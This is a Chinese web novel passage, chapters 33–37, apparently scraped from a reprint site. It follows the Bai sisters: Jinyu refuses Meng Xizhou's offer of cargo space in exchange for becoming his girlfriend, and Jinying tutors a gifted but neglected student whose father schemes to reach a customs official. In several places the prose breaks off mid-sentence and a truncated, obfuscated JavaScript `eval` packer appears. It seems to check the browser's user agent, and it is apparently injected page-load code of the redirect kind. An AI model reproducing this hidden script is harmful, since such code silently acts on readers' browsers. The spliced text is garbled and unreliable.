孟西洲的神情温和亲切,和从前似乎没有任何两样,可她就是看得出来,他的眼神里笑容里,整个举手投足里都带着一份笃定自得,仿佛一切都和他所料不差,计划顺利,猎物上钩。 白瑾瑜心里突然有一丝负气,脸上却还是盈盈浅笑着,说:“谢谢孟先生赏光,我知道你忙。” 孟西洲凝视了她一眼,口吻轻快地问道:“突然约我出来,有什么事要谈呢?我要好好听一听,这事值不值得我跑一趟。” 白瑾瑜却没有被他的愉快所感染,只略微提了提嘴角,开门见山道:“我没有事要谈,却有事要问,孟先生,你有什么目的呢?或者说,你要开出什么条件呢?” 孟西洲被她的问话刺中了一般,眸光变换之间,牵起的嘴角落下,那微笑也就渐渐隐没了。 33. 第 33 章 孟西洲一直在等,白公馆的丧礼结束之后是,在那之前亦是。毋宁说在白公馆遭逢变故之后,他那颗因等待而酸楚焦躁的心,反倒获得了极大的缓解。 究其原因,绝不是因为他乐于看见白瑾瑜受苦,相反在丧礼上见到她形容苍白的样子,他心疼坏了;而是这场变故令柳世新的心志不坚暴露无遗,就好似士兵临阵脱逃,留下一处无人把守的窗门,让他得以窥见可乘之机。 孟西洲自己参加了白公馆的丧礼,当然知道柳世新没有来,不论出于什么原因,他在白瑾瑜心中的印象,势必打一个折扣。是以丧礼之后,他没有对琐事缠身的白瑾瑜多加打搅,反而将目光投向了柳世新,于暗中观察他。 不久后的某一日,柳世新一改以往的悠闲从容,显出一副大受打击的样子来,不光答应了和钱永善一道喝酒,连别人问起密斯白,也被他愤愤然地低吼回去,活像自己遭受了怎样的辜负与背叛。 那之后据说很是荒唐了几天,也间或有风声传到自己这里,说柳世新到底被姓钱的带去了北油车弄云云,孟西洲只是笑了笑说:“别闹得太难看,影响船务公司的风评就好。” 难道还指望他大发善心,阻止他误入歧途吗?笑话! 他心里甚至感到一阵窃喜,柳世新已然沾湿了鞋,那就休想再和白瑾瑜有重归于好的一天。 总算总算,挡在他爱情之路上的障碍得以铲除。 孟西洲计算着白瑾瑜同自家公司之间的合约日期,又特意嘱咐了闫处长该如何措辞,当天便守候在家里,等着白瑾瑜的电话。可又不能显得太过急迫,便又专程找了个佣人,让她先接。其实谁能晓得呢?在佣人接电话的当口,自己就坐在旁边的沙发上呀。 孟西洲的心因为渴盼而热烈跳动着:他们也有太久没有见面了,自己于逆境之中伸出援手,总能给她留一个不坏的印象吧? 这想法多么好,以至于在白瑾瑜问他“有什么目的”时,他有一瞬间乱了方寸,隐约意识到这计划大概有哪一环不对,事情未必会按照自己设想的那样进展。 但也只失态了那么一瞬而已,孟西洲重新扬起嘴角,很真诚似的问:“这话是什么意思,白小姐?不是你约我出来的吗?” 白瑾瑜回望着他:“我有什么事,你太清楚了。你有意让闫处长为我指一条明路,不就是想让我来见你吗?我本可以不来,可我实在想听一句实话,如今这世道,已经太难听到一句实话了。” 她果然知道,她果然看透! 孟西洲心中震颤,她哪里是会乖乖走入圈套的猎物?他早应该知道她的不同。 计谋一旦被识破,那就只有宣告失败一途了,可不玩手段不设圈套,猎人又能怎么办呢?在猎物面前坦诚地张开大网,说:我之所以想抓你,并不为伤害你,而是实在喜欢你,想要亲近你吗? 孟西洲沉默,那笑容到底收敛了起来,垂眸看向自己轻敲着桌面的指尖。 恰是这时候,西崽端来了热咖啡,为两位客人一个斟上一杯。孟西洲拿起洋铅的小夹子,为白瑾瑜的那一杯加糖块,两块,柳世新能记住的,他同样也记住了,他又差在哪里呢?心里不免生出一丝怨气。 可一想起她刚才那句话中怅怅然的叹息,又觉得那怨气俨然已被一阵苦涩盖过:他妄图用计谋来换爱情,已经做得不地道,要是到现在还用漂亮话来搪塞,自己哪里还有一点求爱情的诚心? 孟西洲抬眼看向白瑾瑜,他平日里总带着三分笑意,现在倒放沉了嘴角,很严肃的样子:“我要你做我的女友呢?” 他自嘲似的一笑,“闫处长想必也告诉过你,我对朋友很慷慨通融,何况是女友呢?不要说单租一间货仓,就是白送给你,又有什么要紧?” 他已经摊开了手中的大网,再没有一点遮遮掩掩。 白瑾瑜的眸光闪烁一瞬,哪怕事先设想过这个可能,亲耳听见的一刻,还是受到不小的震惊。她叹了口气道:“多谢你厚爱,我是无福接受了。” 孟西洲在等她答复的时候,手里无意识地攥着印花桌布的一角,此刻手心徒然攥紧,连带着把桌上的杯盘都扯出一阵轻响,邻桌有人投来好奇的一瞥,他也不在乎,只管拿执拗的目光盯着白瑾瑜不放,问:“为什么?因为我算计了你一下吗?这是我不对。” 白瑾瑜苦笑了一下,道:“你不光是算计了我,还把爱情和利益,捆死在一起了。我这算是,和你谈爱情才换来了合同,还是签过合同之后要交付出爱情作为代价呢?我过不去心里那道坎,好像我整顿旗鼓,还没有迎敌,就吃了一场败仗。” 孟西洲心里卷着懊恼的狂澜,一下子后悔自己不该诚实这一次,瞧?有什么好果子给自己吃?爱人不会因为自己的坦诚就钻进网兜。一会儿又恼恨自己惯于尔虞我诈的性格,一开始就不该用诡计对她,让爱情失去了纯洁的基础。 他咬着牙,硬是挤出一点苦涩的微笑,试图说服她:“白小姐,瑾瑜,你也是留过洋的人,看待感情应当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他看着白瑾瑜离开时的身影,多么潇洒恣意,甚至带着一点神气。就是这分神气,让他一下子回想起在英国第一次见她时的情景,那种热烈又灵动的生命力一下便跃然脑中了。 她从来就没有变过,他的迷恋又怎么可能消退? 这真有一点可悲,孟西洲心想,他分明刚吃了一场爱情的败仗,可是心中对于爱情的火苗,反倒烧得更旺了。 另一边,白瑾瑜虽然丢开了精神上的负担,可现实的问题与麻烦却亟待解决。 白天和家人热热闹闹吃饭时,那种忧虑自然被欢乐的气氛冲淡一些,可一到了夜深人静的晚上,种种忧思漫上心头,这也就是她一个人点了烟,默默靠窗沉思的原因了。 34. 第 34 章 白瑾璎对她的生意经一窍不通,头一回看见白瑾瑜这样愁眉不展的样子,不由地揪着心问:“真有这样糟吗?” 白瑾瑜叹了口气,惨惨地一笑,“哪怕说不上糟,也绝对不容乐观。要找一家靠谱的船运公司太难了,孟家的船好,更重要的是,他家的船每年往返海外的次数够多,对于我这个追着潮流赶的行当而言,时间可太要紧了。你想,一样是英国流行的货样,等到外国杂志都运到了国内,洋货行也上了货,你再摆进橱窗,客人早就丢了一大半了。” 她解释得浅显,白瑾璎也就听明白了,发愁道:“那怎么办?和船务公司的合同谈不下来,除了找别家轮渡货运公司,还能有什么法子呢......” 她嘀咕着,忽而冒出一个主意,激动得整张莹润小脸都亮了起来:“啊呀!你和船务公司签不成合同,和同样运货的其他商家谈条件,不行吗?你说别家动辄签下半条船、乃至几条船的货仓,总有个一间半间的剩余吧?你出稍高一点的价格,与其白白空着,何不转租给你呢?” 白瑾瑜很是欣慰地看了她一眼,却还是微微地摇头:“这个办法我也想过,只是你没做过生意,大概不了解。你问人家租下整条船的货仓,真能全用上吗?告诉你吧,那是一定能的。你是没见过那些烟草茶叶商人,恨不得把货物堆到天花板上去,一样租了这块地方,谁不是拼了命地用到极致?偶尔确实有供货不足的情况,但那是说不准的,要是专等着这些偶尔的时候,我的生意,也不要做了。这是其一。” 她自己也不想讲这些烦人的生意经,但见白瑾璎听得既专注又懵懂,对于这个从未涉足过的行当,满脸都是求知若渴的神态,也就淡笑着讲了下去。 “第二么,就是卸货的工人。能匀出一件货仓转租的,自己势必租用更多,那大约做的就是销量很大的大宗商品了,是以工人们在卸货的时候往往粗手粗脚,横竖磕了碰了也不会坏,丢在地上浸湿了,整船的货损失两三捆包,也不足为惜。可我的货太金贵了,碰坏一样,或是被人摸走一两件,大笔的银钱白白就流走了。” 白瑾瑜沉沉地呼出一口气,再一次坚定道:“我是不愿意从这种大路货商人手里租仓库的,工人不牢靠,风险太大了。” 她的每一条顾虑都极有道理,白瑾璎闪着亮光的眼睛又黯淡下来,忧愁道:“唉,你是我们家最有能耐的人物了,连你都想不出对策,我又能有什么办法呢?要是实在做不下去,也许......你去找份工作呢?凭你的本领,外贸经理的位置,总不在话下。” 白瑾瑜被逗得发出一声笑,摇头道:“别,别,我知道自己的德行。要我做事,就让我放开了手去做,要是有个顶头上司管着我,我又出于职位低而不得不听他的,我一定撂担子不干。找工作这条路,万万是走不通的。” 想象一下白瑾瑜和莫须有的上司吵得面红耳赤,最后由白小姐拍出一封辞呈以告结束的情景,两人竟不约而同地笑起来,彼此对视一眼,又笑得更厉害了,总算把这凝重又惨淡的气氛,缓和了一点。 笑过之后,又是一阵安静。 白瑾璎先感叹了一句:“唉,这世上,谁也不容易呀。只是比起许多人,我们的不容易已经少了许多了。现在仔细想想咱们刚才的话,我、我都觉得有些惭愧。” 白瑾瑜眨了眨眼,问:“这为什么?” 白瑾璎不好意思地抿了抿唇,说:“我的意思是,至少我们生在富裕的家庭,即便爸爸不在了,还留下一大笔积蓄可供开销,又因为受教育足够多的缘故,也能轻易谋到职业,在社会上立身。可这世上有许多人,老人妇女孩子,是没法靠自己的力量谋生路的。你瞧,别人连一口饱饭都吃不上呢,我们至少吃穿不愁,仅仅为几间货仓就愁成这样......” 白瑾瑜微笑着,很温和地反驳她:“人都说比上不足比下有余,但谁也没有往下去比的道理。人人往下比,谁来奋斗呢?” 白瑾璎的脸一下子烧红了,哪怕在光线昏暗的夜里都能看得清楚。她不过是突发感慨,绝没有要反对谁的意思,连忙辩白道:“不,不,我不是这个意思。我是说,人固然要向前努力,但若不涉及最根本的温饱问题,总不算天大的事,不必把自己逼得太紧......” 白瑾瑜当然明白,白瑾璎只是性情很安定,没有卯着劲向上的野心罢了;而自己则恰恰相反,享受忙忙碌碌的状态,这份忙碌所带来的事业上的成绩比任何其他事都更让白瑾瑜感受到自身的价值。 于是接话道:“我明白,只是好歹是我辛辛苦苦开起来的店,好比亲手养大的孩子,总不能眼睁睁看着它关张大吉。让我再想想法子吧,我也听你的劝,这两天多出门逛一逛,散散心,兴许就有新的主意呢?更何况——” 她伸手拧了拧白瑾璎的脸颊,冲她笑了一笑,“我把生意做大了,多开一家店,就多雇几个店员,给那些女孩子们多一点谋生路的机会,不也很好吗?” 白瑾璎怔怔地望着她,很快想通了其中的关窍,拉住她的手激动地握了一握,道:“对,你说得对!这是授人以鱼,不如授人以渔呀!” 白瑾瑜见她一下低落,一下又高兴起来,及至此刻高兴的时候,晶亮的眸子里像带着无尽的希望似的,连她自己的心情也跟着明朗起来,玩笑道:“这是做生意总有风险的,我要是赔光了本钱,就只能靠你养活了。” 白瑾璎当即又握紧了她的手,打着保票道:“这是什么话!有风险的债券投资,我绝不碰的,分得的钱都好好的存在银行里,我还有工作,养活你有什么难?我也绝不管你,你只管放开手去做就是了。” 这一番话,不能叫人不感动,白瑾瑜心里的希望,也就更大一点。她就着被白瑾璎握住的手摇撼一下,说:“有你这句话,我就没有后顾之忧了。你这么一个稳健的人,就冲不能让你赔钱,我也得做出点起色来呀。” 于是这一夜的谈话以烦愁开始,却以默契与希望而终,似乎等夜晚过去,明天又可以是一个新开端。 事实也是如此,白瑾瑜开了窗,迎着洒进卧室里的阳光深吸了一口早晨的空气,换过便装吃了点早餐后,便出门散心去了。 但她多少还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一时之间,竟是对死亡和厄运的恐惧占了上风,人群稀稀落落地向后退开,偶尔有人路过,也是远远地看一眼又匆匆走开。白瑾瑜虽是站在原地没有动,可因为别人的退避,反倒把她让到了前头,清清楚楚地看到了倒在地上的人。 那太太侧躺着,惨白的脸上透着青灰色,胸口几乎看不见呼吸的起伏,实在是生死难料的情状。 比起惊慌,这种近乎死亡的状态几乎是第一时间捕获了她,刺痛了她——爸爸。 不知为什么,眼前的身影和记忆中的白齐盛重合在一起,她心想,爸爸在遇上飞机事故时是怎样的情形?总有这么个瞬间吧,在他咽下最后一口气之前,渴望着生,却没能等到任何一个人帮他。 那毕竟是飞机事故,生死全在一息之间,没人救得了他,可是现在呢? 白瑾瑜僵立着,心念电转之间,最响亮的一个念头是:转身离开固然省事,可是,不要让天上的爸爸也看不起我吧! 她环顾四周,哪里也没有公用的电话亭,但她马上想到了刚才去过的成衣店,当下从手袋里摸出一张五元的钞票,请一位脚程快的年轻先生替她跑一趟,借用成衣店里的电话向附近医院挂一通求救电话。 自己则守在那位太太的旁边,一道等着医院的救护车过来。 35. 第 35 章 被老师们深恶痛绝的学生,总不会每一天都逃课的,不然,何以留下如此恶劣的印象呢?白瑾璎头一天没碰上的“混世魔王”,隔了两天后,终于在课上现身了。 她一眼就辨认出其中个子最高的那个是孙立学,即便是坐着,也高高地翘着二郎腿,一副目中无人又趾高气昂的姿态。另两个倒是点名之后才分清的:梁小山个头矮小,只是一双眼睛鬼灵精地转个不停,但凡孙立学发话,他势必要哄抬几句造个势;徐克行则是中等个子的长脸,不大出挑,倒是很沉默的样子,只是同样坐没坐相,时不时由鼻子逸出一声冷哼或冷笑。 在一堂课,白瑾璎一走进教室,孙立学便开始犯浑,吹了一声长长的口哨,笑道:“哎哟!早知道洋文课来了个这么漂亮的老师,我上两堂课就赏个脸来听了!” 梁小山紧跟着拍着桌子笑起来。只是白瑾璎已经给六班上过两堂课了,其余学生对她的印象很不坏,这一次倒没有人附和他们,教室里安安静静的,反衬出梁小山的独角戏怪可笑,他自己也讪讪地停下了。 白瑾璎本来被那突如其来的口哨惊了一跳,见班里的学生没有乱起来,这才暗自庆幸着镇定下来。 她走上讲台,心里尽管七上八下的,还是鼓着勇气冲那孙立学微笑一下,道:“这位同学,我们是第一次见,只是这样初次见面的方式可不大礼貌。从西方的礼仪来看,应当由朋友或长辈代为引荐,握手后才算是认识,而不是吹口哨和大声喧哗。” 孙立学怪笑了一下,大声道:“原来还有握手啊!光认识就能和漂亮女人握个手,那也不差嘛!” 说着,双手上抬做出鼓动的手势,向四周环顾一圈,有梁小山替他哄抬,这一次,陆续有几个男学生也跟着偷笑出声。 白瑾璎心里实在生气,她从小在好人家长大,不论在家里,还是学校或亲朋好友的聚会,对女性都是一万分的尊敬,但凡有男士开这样低级的玩笑,不说主人家当场要摆脸色,下次也绝不会再请他参加。 可这个年纪的男孩子偏偏最难对付,没有足够严厉的教养约束,又有反叛心,一点点不好的风气,就能把人熏坏了。 白瑾璎明白道理讲不通,自己一味地说道理,在这些半大的孩子看来更要显得可笑了,身为老师,也不好大声斥责(她实在也不擅长大声斥责),想来想去,只能沉下一点脸色,认真道:“我以为,只有礼貌周全的绅士们才有资格受到引荐。” 女孩们想必同仇敌忾,一个个挺直了脊背瞪着身边的男学生,教室里的窃笑声果然小了一些。 “所以,要做个绅士。”白瑾璎缓和了表情,格外重读了“绅士”这个单词,用洋文说道,“不光对别人,对自己也是有百益而无一害的。” 尽管她已经尽量说得简单,但孙立学是个胸无点墨的文盲,当然半个字也听不懂,见教室里少说有一半的人露出意会的神态,这便把自己的无知明晃晃地衬托出来了,仿佛受到挑衅似的,狠狠地瞪了白瑾璎一眼。 而让白瑾璎意外的是,在她说完这句话后,徐克行虽然半不屑半嘲笑地扯了扯嘴角,顺带冷哼了一声,但论他这一番举动的原因,竟是把这句洋文给听懂了。 是以对于徐克行,她倒多留出几分关注。 点过名后,便正式开始上课了。孙立学依旧没骨头似的斜靠在墙上,不时把钢笔叼在嘴里,压根没有在听的样子,前头的梁小山干脆脸盘朝下打起了瞌睡;反倒是徐克行,虽是一手撑着下巴神游也似,但白瑾璎好几回都留意到,他拿了笔在铺得乱七八糟的白纸上记下几笔。 到了口语练习的环节,白瑾璎将几句句子写在黑板上,自己先流利地读过一遍后,再请学生重复。 轮到第二个学生时,孙立学又不安分了,拿钢笔一下一下敲着桌子,笃笃笃闹得人心烦。他这样不遗余力地博人的关注,白瑾璎没法装看不见,干脆也请他来读几句。 孙立学站没站相,理直气壮又油滑:“我不会!” 白瑾璎叹了口气,还是和气地问:“那么,‘我不会''的洋文怎么说呢?” 孙立学一下有些懵,换做别的老师,这时候就该让他到外头站着去了,还没有谁会顺势问第二句呢。他反应不及,好半晌才梗着脖子又说了一句:“我不会!” 这段对话听起来实在有点意思,班里好几个人都扑哧笑出了声,连旁边坐着的徐克行都憋笑不住,弯了弯嘴角。 孙立学一时间恼羞成怒,涨红了脸叫道:“笑什么?有什么好笑的?!”又冲徐克行道,“你刚刚是不是也笑了?” 白瑾璎私心里其实很怕他真的大闹起来,赶紧语气温和地叫停:“好吧,你不会,但也不能在上课的时候大喊大叫吧?你要是不喜欢洋文课,去外头站着松快一下,我是不拦你的。” 孙立学恨恨地由鼻子哼出一口气,向徐克行使了个眼色后,头也不回地走去了教室外头。 徐克行紧跟着站起来也要往外走,一来,孙立学刚才单独叫了他的名字,他自认也脱不了干系;二来,他们本来就是同进同出的小团伙,赶一个孙立学不够,连带着把他俩一道轰出去才是常态,这个新老师虽是头一次见,恐怕也早听说过他们的事迹,被传授过经验之谈了。 但白瑾璎却像是不知道似的,讶异道:“你站起来做什么?好吧,那也不必急着坐下,不如也来读一句好了。” 她拿长棍子指出其中一句,徐克行被吩咐了个措手不及,竟也一个指令一个动作,磕磕巴巴地念了下来。 白瑾璎暗道,我想得不错,至少在洋文上,他不能算是不可救药哩。于是针对他念得不准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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随即又像是想到什么,拍了下手道:“想不到你还挺懂洋文呢,竟还藏了本洋文的小书,那好,往后我和小山的洋文功课,都由你代劳了吧!呵,我次次交齐作业,倒要看看,那新来的老师怎么判我零分!” 他想着徐克行总该应承一声,却好一会儿没有等到,忍不住看他一眼,只见徐克行拿着那外文书,拧着眉头盯着那被甩脱的封页。 孙立学心里便有些心虚,但很快又硬气起来,拍了拍徐克行的肩膀道:“一本破书罢了,别看了吧。走,我正要告诉你呢,我爸这周末做东摆酒,请了不少生意上的老板,我可是专程和他说了,一定把你爸也算上。怎么样?我这个朋友,总归不赖吧?” 徐克行的目光终于从那破书上移开,把那书本连同纸笔零食,一股脑全塞进书包里,甩上肩膀道:“成,走吧。” 36. 第 36 章 这三个混世魔王照例还是逃学,白瑾璎的洋文课,一周能来上个一半,已经算很给几分薄面了。 但白瑾璎却发现,对比另两个不学无术的小混子,徐克行真是有几分用功的。至少他在课堂上从不主动挑事,手上也是有一笔没一笔地记录着,恰逢一次随堂小测,他一个半数的课都没上过的人,竟考了个接近中游的分数,相比于另外两份白卷,可谓是天壤之别。 这样一棵好苗,若是栽不好,岂不是自己这个当老师的罪过? 白瑾璎于是更加留心起来,倒真给她找到了一个机会。那天她恰好上最后一堂课,下课铃一打过,以孙立学为首的一群男学生便野马似的拽上书包往教室外冲,反倒是徐克行还留在座位上,慢手慢脚地收拾东西。 白瑾璎知道他在课上看闲书,她在讲台上看得一清二楚呢,正好想去和他说一说,走近了才发现他收起来的竟是一本外文闲书。只是那模样实在是惨不忍睹,书页泛着黄褐色的霉斑不说,整个封面都给扯掉了,硬是拿橡皮膏又给贴了回去。 想了一想,还是搭话道:“你能自己找了外文书来看,可见对洋文是很有兴趣的。这本寓言故事的难度不大,以你现在的水平来看,也很适合。” 徐克行对她倒不抵触,只是警惕似的望了她一眼,手上动作加快,转眼便将那本破书塞进了包里,也并不回答她的话。 白瑾璎便笑了一笑,道:“你要是真有兴趣,我倒是有许多外文故事书,可以借你看一看。”见徐克行停了手上的动作,重新看过来,又故作惋惜地一叹,“只是我那些虽是旧书,也都保存得很好,你要是像这样不爱惜,我可不能出借。” 正是转身要走的时候,听到由旁边传来别扭的少年声音,“没,这是我妈妈以前的书,我拿到时就很旧了......”似乎是觉得这解释还不足够,又补充道,“我会爱惜的。” 是以,这笔“交易”便算是达成了。 徐克行要借她的书看,对于她上的课,也就不能敷衍对付,而结果更是意外的喜人,在下一周的随堂小测上,徐克行的分数一下蹿升到了中上!连白瑾璎都不能不对他的天分感到吃惊。 其实在她发完考卷后,孙立学这三人小团伙之间的气氛便有些沉默古怪,只是她没有留意,下课后径自将徐克行叫去了办公室,拿出一张报名表似的纸单,递给他道:“这是一个月后市里举办的外文演讲比赛,要不要参加一个呢?” 又说,“只是既然参加了,就要加倍用功起来,往后一个月的时间,每周都需要抽一个礼拜六来学校练习口语和朗诵。你晓得,洋文既是一门语言,如果不开口说,那作用可就少了十之七八了。” 徐克行的眉头拧起,捏着那报名表不说话,似乎这次机会让他颇为犹豫苦恼。 白瑾璎等了他片刻,以为他是不自信,便又鼓励道,“你瞧,你一旦好好开始听课,不过一个多礼拜的时间,成绩便提高这样多,可见对洋文的领悟能力不俗;你的口语虽不大流畅,但发音绝无问题,完全可以靠练习来补足,既然有这个能力,为什么不试一试呢?难道提高本领,对你还会有害处吗?” 徐克行似乎是被说动了,终于嗫嚅着开口道:“不,是我周末腾不出空来,我爸要我帮他做事......” 其实能有什么事,无非是要他陪着孙立学到处闲晃,哄好了这位少爷,以便孙家的老爷手里能漏下一两笔大单罢了。放在平时,他未必每周都想着出去招猫逗狗,但他这次得了个好分数,刚才瞧着孙立学的脸色就不大好,这时候再说周末要去学习,他一准翻脸,连带着他老爹的生意都能给搅黄。 徐克行这时候倒有些后悔,怪自己不该把知道的都一股脑往卷子上填,避一避锋芒,又能怎么样呢? 可谁能明白那种感受呢?就像被一股无形的力量推着往前——我分明会做,为什么不做呢?我付出了努力,为什么不能示人以成果?从前他大脑空空的时候尚不觉得,现在喝下两口墨水,留了些知识在脑中,反倒激发起他向上冲一冲的意愿了。 白瑾璎不明内情,还觉得讶异,“你一个小孩子,能让你做什么大事不成?” 她看了一眼课表,道:“这样吧,后天正好是家长的开放日,你让你爸爸来一趟,我同他说一说,让他给你放行一个月,怎么样?这种对孩子的课业百益无害的事,他总不至于不答应吧?” 自己的爹是个什么德行,徐克行还能不知道吗?但凡他对自己的课业有一分上心,也干不出让他整日跟着孙立学瞎混的事来。 只是徐百富虽然功利十足,全部脑筋都钻进了钱眼里,可对着学校里的老师还是讲些客气的,至少不会出言不逊。眼前这一位白老师讲起话来条理清晰,也很有说服力,兴许就能说动他呢?徐克行私心里还是想去试一试洋文演讲,也就答应下来。 尽管他回家后几次叮嘱,他爹嘴上也答应着,到底没把这劳什子的家长会放在心上。 当天,别个家长早早就来了学校。孙立学不必去说他,他自己就消失个无影无踪,其余的多少都问过几句功课,有闲的则坐下听两节课再走,唯独徐克行的父亲,左等右等就是不来。 白瑾璎见徐克行自己也是面色不好,也就不便再去追问他,反而向教数学的吴老师打听了几句。 吴老师无可奈何地摇着手,边喝茶边说:“来了又怎样?那徐百富跟个滑不留手的泥鳅似的,表面上‘好好好''地答应你,回去了照样做个甩手掌柜,哪怕你把读书用功的利弊给他讲透了,没有用啊!” 事实也正如吴老师所说,到了临近放学的点,徐百富才夹着个皮包姗姗来迟。一来,就对着白瑾璎一通“辛苦、有劳”地感谢,态度不可谓不尊敬,可一等白瑾璎谈及洋文演讲的事,徐百富又是百般的推脱。 “小孩子整的什么比赛,哪里还需要占用周末的时间哟?他爱参加就参加,周末可得给我留出来......嗐,我哪有让他干什么活呀!”徐百富转着眼珠,重新笑道,“我是看孩子都上了五天的学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们是做者无心,只是这一番举动并脉脉无言的气氛,落到旁人眼里,那就是看者有意了。 徐百富刚走出校门口便留意到了蒋牧城的汽车,他最近急于和海关衙门牵上线,海关几位上峰的车牌号码,他早就背得滚瓜烂熟了。苦于找不到上前搭话的借口,便先支走了徐克行,自己蛰伏在近旁。 哪里想得到,蒋副总长等的人竟是那姓白的老师呀! 徐百富是生意场上练出来的人精,酒局上什么样的神态眼色没有见过?这里头藏着的秘密可多着哩!他暗暗观察着,三眼两眼,已将他二人的关系摸索清楚了。 如今是社交开放的社会,谈恋爱的男女们当街搂抱那都是常有的事,摸个头发摸个脸算得了什么?像这样光站了半天,碰也不敢碰一下的,那就绝不能是恋爱的关系。可再看蒋牧城这勾丝似的眼神,要说对姓白的没点意思,自己第一个就不相信! 他暗暗思忖着,眼睛一转,一个绝妙的主意便已成形了。 37. 第 37 章 在那边二人谈得正好时,徐百富便横向里一凑而上,满脸惊讶地先向白瑾璎点了个头,道:“啊呀,白老师,又见了。” 随即,又转向蒋牧城,这一次却是微微地欠了欠身,十足十很恭敬的样子道:“蒋副总长,这真是赶巧了不是?先前几次约您都没能约上,今天走在路上,不料就碰上了。您贵人事忙,大概不记得我。敝姓徐,和贵司的杨处长常有事务联系,半个月前我登门时,由他做中间人,向您引荐过一次的。” 蒋牧城大概确实没什么印象,只略点了点头,见他先和白瑾璎打了个照面,便径直将疑问的目光投向了身边。 白瑾璎便小声地和他介绍:“这是徐百富徐先生,是我一个学生的家长。” 两次引荐,这第二次的分量可不一般呀。徐百富暗自得意道,由白小姐做中间人再向他介绍一回,这一下,蒋总长可不能再把他给忘了吧?这也是他志在蒋牧城,却先和白瑾璎问了声好的原因所在。 那一份得意却不露在脸上,徐百富笑得更加谦和殷切,趁热打铁地对蒋牧城发出邀请:“蒋副总长,都说相请不如偶遇,这一次,总可以赏脸应邀,不要又让我铩羽而归了罢?我是有海运关口上的要紧事想和您谈,想请一张特别派司哩!” 蒋牧城凝了他一眼,冷淡道:“既然是和杨处长有事务来往,和他谈就是了,真有什么问题,他总会来请示我。” 事务会谈上的事,白瑾璎插不上话,一言不发地站在旁边,心里却有一点吃味,心想:我不过想和这徐先生约一点时间,他就百般推脱,现在他想约一约蒋二哥,后者又对他爱答不理,这世上,果然是求人的一方最难。再仔细一想,自己正处在求人的最末端,可不就是难上加难? 这边唏嘘不止,那边徐百富接着道:“那总是不一样的呀!我和杨处长谈,他再和您谈,这就是走了两道程序,费时又费力不是?不若我直接和您谈,岂不是更快捷?我们做生意的,那是掐着手表办事哩。” 他露出一个笑脸,又将话锋一转:“当然了,我也知道要照章办事,本来不想叨扰您的,这不是看见您和白老师走在一处,瞧着还是很相熟的样子,我心想,这不是两全其美吗,这才觍着脸上来相请呢。” 白瑾璎冷不丁被点到了名字,下意识地回过神来。与此同时,蒋牧城也是神色一凛,他辨不清这姓徐的话里什么意思,直截了当地问:“两全其美,这话怎么说?” 徐百富交握的手搓了搓,笑道:“您不知道,本来白老师就约了我,想谈一谈犬子的学业,无奈我怎么都抽不出空来。自然,我是苦于想约您而不得嘛。这你追我赶的,谁也约不成谁,可既然您二位认识,那就好办了呀!” “不如我一道约了您二位,如何?犬子的功课就是那副样子,也没什么不能让外人知道的;至于和副总长您的事务——”他卖关子似的顿了一顿,觑了眼蒋牧城的脸色,才接着道,“多一个白老师在旁边听着,我想您也不会介意吧?自然了,白老师一来不是我的对家,二来呢,为人也很正直,我本人是放一万个心的!” 趁着这表明态度的劲头,一鼓作气道:“就是这样吧!由我作东,明天中午约在明月饭店,到时候,不拘公事私事都谈得,您二位意下如何呢?” 见白瑾璎脸上有一丝惊疑,还当是自己饭店选得高档,叫她惶恐呢,立马又做小伏低了一番:“不破费,不破费,犬子平日也有劳白老师费心了,何况教书育人多么辛苦的事,一顿饭还当不得吗?” 白瑾璎当然不是为饭店好坏,不过是惊愕于徐百富的脑筋,想不到一个难题,还有这样的解决办法。但一想到可以和他好好说道徐克行的洋文天赋,这方法虽古怪,倒也不是不能接受。 同时,徐百富占着学生家长的身份,一番姿态忽强忽弱的说法,硬是把两件事搅和在了一起,还暗示着蒋白二人关系匪浅,是可以不分彼此的。连蒋牧城都挑不出他什么毛病来,并且心里有些受用。 他微微低头,问白瑾璎道:“你真约了他谈事吗?” 白瑾璎仰起头来点一点,想到徐克行被徐百富拽走时那种垂头丧气的失落样子,到底下定决心想为他争取一次,道:“是,有好几件事想和徐先生谈,只是徐先生说腾不出时间来。” 蒋牧城沉吟片刻,竟真的答应了下来,“正好也是陪一陪你,你一个人在外面谈事,我是不放心的。” 徐百富简直是喜出望外了,当下对蒋牧城谢了又谢,忙不迭顺着他的话道:“是,是,正是考虑到有蒋副总长在呀。不然,我哪里会约白老师单独谈话,那是很不妥当的。” 他心里又是兴奋又是得意,想不到用白瑾璎做诱饵,真就把蒋牧城给钓上了!是以,对于自己接下来的计划,更是有了□□成的把握。 既然大事定了,徐百富也不忘贯彻自己忙得脚不沾地的形象,一面拎起衣袖看一眼手表,一面匆匆忙忙地向二人告辞道:“失礼,失礼,我真得走了,明天一定等着两位的大驾。” 第二天正是礼拜六,又是同约在明月饭店,蒋牧城当然是开了车来椿樟街接人。 对于徐百富的邀约,他是无所谓去不去的,但邀约里加了一个白瑾璎,他心里的天平便偏向了“去”的一端。不光为了能和白瑾璎见一见面,再有,他也听到一些风声,说白瑾瑜的生意不大顺利,白瑾瑜那边一旦心烦心焦,要想在周末把瑾璎约出来,那就不大容易了。现下有了徐百富这么个中间人,理由就名正言顺得多。 不多时,白瑾璎便出来了。 她穿一身素面的浅蓝色旗袍,只有盘扣的纹样很是别致,缀着一 